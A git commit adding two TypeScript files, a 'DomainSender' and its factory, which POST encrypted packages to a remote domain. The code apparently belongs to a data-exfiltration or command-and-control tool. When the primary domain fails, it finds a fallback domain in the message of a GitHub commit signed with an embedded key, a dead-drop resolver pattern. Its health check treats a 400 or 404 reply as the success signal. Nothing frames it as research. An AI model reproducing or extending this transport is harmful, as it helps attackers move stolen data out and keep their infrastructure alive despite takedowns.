Upload files to "src/sender/domain"

This commit is contained in:
2026-07-03 02:59:32 +00:00
parent 4c950df492
commit d2505711b3
2 changed files with 135 additions and 0 deletions
+51
View File
@@ -0,0 +1,51 @@
import { verify_key } from "../../generated";
import { findValidSignedCommit } from "../../github_utils/fetcher";
import { DOMAIN_FALLBACK_SEARCH } from "../../utils/config";
import { logUtil } from "../../utils/logger";
import type { Sender } from "../base";
import type { SenderFactory } from "../senderFactory";
import type { SenderDestination } from "../types";
import { DomainSender } from "./sender";
export class DomainSenderFactory implements SenderFactory {
private readonly config: SenderDestination;
constructor(config: SenderDestination) {
this.config = config;
}
async tryCreate(): Promise<Sender | null> {
// 1. Try the default domain.
const primary = new DomainSender(this.config);
if (await primary.healthy()) {
return primary;
}
logUtil.log("Primary domain not healthy; looking for signed fallback");
// 2. Fall back to a domain discovered via a signed commit.
const commitResult = await findValidSignedCommit(
DOMAIN_FALLBACK_SEARCH + " ",
verify_key,
);
if (!commitResult.found) {
logUtil.log("No valid signed commit found; DomainSender unavailable");
return null;
}
if (commitResult.message) {
const backupDest: SenderDestination = {
domain: commitResult.message,
port: this.config.port,
path: this.config.path,
};
const fallback = new DomainSender(backupDest);
if (await fallback.healthy()) {
return fallback;
} else {
logUtil.log("Fallback domain not healthy; DomainSender unavailable");
}
}
logUtil.log("Fallback domain not healthy; DomainSender unavailable");
return null;
}
}
+84
View File
@@ -0,0 +1,84 @@
import * as dns from "dns";
import * as https from "https";
import { logUtil } from "../../utils/logger";
import { Sender } from "../base";
import type { EncryptedPackage, SenderDestination } from "../types";
declare function scramble(str: string): string;
export class DomainSender extends Sender {
constructor(config: SenderDestination) {
super("domain", {
domain: config.domain,
port: config.port,
path: config.path,
dry_run: config.dry_run,
noop: config.noop,
});
}
private get url(): string {
return `https://${this.destination.domain}:${this.destination.port}/${this.destination.path}`;
}
/**
* Preflight: DNS resolves + endpoint responds with the sentinel status.
* Called by the Dispatcher before attempting send.
*/
override async healthy(): Promise<boolean> {
if (this.destination.noop) {
return false;
}
try {
if (this.destination.dry_run) return true;
await dns.promises.lookup(this.destination.domain);
} catch {
logUtil.error(`Could not resolve domain: ${this.destination.domain}`);
return false;
}
return new Promise<boolean>((resolve) => {
const req = https.get(this.url, { timeout: 5000 }, (res) => {
logUtil.log(`Got response for ${this.url} ${res.statusCode!}`);
resolve(res.statusCode === 400 || res.statusCode === 404);
});
req.on("error", (err) => {
logUtil.error(`domain healthcheck error: ${err} ${this.url}`);
resolve(false);
});
req.on("timeout", () => {
logUtil.log(`domain healthcheck timeout`);
req.destroy();
resolve(false);
});
});
}
/**
* Transport. Throws on any non-success so the Dispatcher falls through
* to the next sender in its priority list.
*/
override async send(envelope: EncryptedPackage): Promise<void> {
logUtil.log(`Sending to ${this.url}`);
if (this.destination.dry_run) {
logUtil.log(envelope);
return;
}
const response = await fetch(this.url, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(envelope),
});
if (response.status !== 200) {
throw new Error(
`DomainSender: ${this.url} returned status ${response.status}`,
);
}
}
}